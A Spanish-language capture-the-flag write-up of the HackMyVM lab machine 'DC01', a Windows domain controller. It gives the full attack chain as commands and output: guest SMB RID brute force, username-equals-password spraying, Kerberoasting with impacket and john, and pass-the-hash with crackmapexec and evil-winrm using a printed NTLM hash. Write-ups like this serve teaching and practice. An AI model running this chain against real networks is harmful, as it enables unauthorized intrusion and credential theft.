cd ~/blog

~/writeups/hmv/115-dc01.md

115 - DC01

easy Windows hmvautor: Jordy Pérez Osorio aviso legal
Guest SMB Access con RID Brute ForcePassword Spraying con credenciales usuario igual a contraseñaKerberoasting mediante GetUserSPNsPass-the-Hash con una cuenta de máquina privilegiada
hackmyvm.eu/machines/machine.php?vm=DC01

~1 min de lectura


Enumeración de servicios

Los servicios DNS, Kerberos, LDAP, SMB y WinRM identifican un controlador de dominio de Active Directory. LDAP revela el dominio SOUPEDECODE.LOCAL, que utilizaremos al solicitar tickets y autenticar cuentas:

❯ sudo nmap -sCV -Pn -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49680,49714 -oN 02-targeted.txt 192.168.1.31
...
PORT      STATE SERVICE       VERSION
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., ...)
445/tcp   open  microsoft-ds?
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0
...
Service Info: Host: DC01; OS: Windows; ...

Guest SMB Access y RID Brute Force

Una sesión nula es rechazada, pero la cuenta guest sin contraseña sí puede consultar recursos y el SID del dominio. El RID Brute Force recorre identificadores relativos y convierte las respuestas válidas en una lista de usuarios reales:

❯ nxc smb 192.168.1.31 -u guest -p "" --shares
...
SMB         192.168.1.31    445    DC01             backup
SMB         192.168.1.31    445    DC01             Users

❯ nxc smb 192.168.1.31 -u guest -p "" --rid-brute > nxc_users.txt
❯ cat nxc_users.txt | grep SidTypeUser | awk '{print $6}' | cut -d "\\" -f 2 > users.txt

Password Spraying y acceso a ybob317

Probamos una contraseña derivada de cada nombre únicamente contra su cuenta correspondiente. Este Password Spraying encuentra ybob317:ybob317, aunque el dominio obliga a cambiar la contraseña expirada:

❯ crackmapexec smb 192.168.1.31 -u users.txt -p users.txt --no-bruteforce
...
SMB         192.168.1.31    445    DC01             [-] SOUPEDECODE.LOCAL\ybob317:ybob317 STATUS_PASSWORD_EXPIRED
...

Tras actualizarla a ybob3177, accedemos al recurso Users mediante SMB y recuperamos la primera flag:

❯ smbclient //192.168.1.31/Users -U ybob317
Password for [WORKGROUP\ybob317]: ybob3177
smb: \ybob317\Desktop\> get user.txt

Kerberoasting de la cuenta file_svc

Con una cuenta de dominio válida realizamos Kerberoasting mediante GetUserSPNs. La herramienta solicita tickets TGS para cuentas con SPN; una parte queda cifrada con material derivado de la contraseña de la cuenta de servicio, lo que permite atacarla fuera de línea:

❯ impacket-GetUserSPNs SOUPEDECODE.LOCAL/ybob317:ybob3177 -dc-ip 192.168.1.31 -outputfile hash_kerb
...
FTP/FileServer          file_svc
HTTP/BackupServer       backup_svc
...

❯ john -w=/home/wh01s17/Documents/wordlists/rockyou.txt hash_kerb
...
Password123!!    (?)
...

El hash recuperado corresponde a file_svc. La contraseña también está expirada, por lo que se actualiza a password123!!; con esa cuenta descargamos backup_extract.txt desde el recurso backup:

❯ smbclient //192.168.1.31/backup -U file_svc
smb: \> get backup_extract.txt

Pass-the-Hash con FileServer$

El archivo contiene cuentas y hashes NTLM. Los separamos conservando cada relación usuario-hash y realizamos Pass-the-Hash, técnica que permite autenticarse con el hash aceptado por NTLM sin recuperar previamente la contraseña en texto claro. NetExec marca la cuenta de máquina FileServer$ como privilegiada:

❯ crackmapexec smb 192.168.1.31 -u users_hashes.txt -H passwds_hashes.txt --no-bruteforce --continue-on-success
...
SMB         192.168.1.31    445    DC01             [+] SOUPEDECODE.LOCAL\FileServer$:e41da7e79a4c76dbd9cf79d1cb325559 (Pwn3d!)
...

Usamos el mismo hash con Evil-WinRM para abrir una sesión que aterriza en el escritorio de Administrator:

❯ evil-winrm -u 'FileServer$' -i 192.168.1.31 -H 'e41da7e79a4c76dbd9cf79d1cb325559'
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt

La consola remota permite recuperar la flag final y completar la máquina.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados